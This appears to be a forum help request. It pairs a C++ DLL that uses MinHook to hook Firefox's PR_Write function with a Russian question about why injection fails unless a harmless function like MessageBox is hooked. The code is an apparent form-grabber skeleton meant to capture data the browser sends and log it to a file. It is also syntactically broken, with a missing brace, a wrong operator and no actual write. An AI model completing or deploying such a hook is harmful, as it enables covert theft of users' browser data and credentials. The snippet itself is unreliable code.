PR_WRITE fpPR_WRITE = NULL;

int WINAPI fPR_WRITE(PRFileDesc *fd, void * buf, PRInt32 amount)

	std::ofstream output("D:\\Data.txt", std::ios::out || std::ios::app);

	return fpPR_WRITE(fd, buf, amount);
}

BOOL APIENTRY DllMain(HMODULE hModule,
	DWORD  ul_reason_for_call,
	LPVOID lpReserved
	)
{
	MessageBox(NULL, L"All Right", L"All Right", MB_OK);
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
	{
		if (MH_Initialize() != MH_OK)
		{
			return 1;
		}
		if (MH_CreateHook(&PR_Write, &fPR_WRITE,
			reinterpret_cast<void**>(&fpPR_WRITE)) != MH_OK)
		{
			return 1;
		}
		if (MH_EnableHook(&PR_Write) != MH_OK)
		{
			return 1;
		}
		break;
	}
	case DLL_THREAD_ATTACH:
		break;
	case DLL_THREAD_DETACH:
		break;
	case DLL_PROCESS_DETACH:
	{
		if (MH_DisableHook(&PR_Write) != MH_OK)
		{
			return 1;
		}
		if (MH_Uninitialize() != MH_OK)
		{
			return 1;
		}
		break;
	}
	}
	return TRUE;
}

Если вместо PR_Write, например, MessageBox то все инжектит а если нет то даже не входит в DllMain.
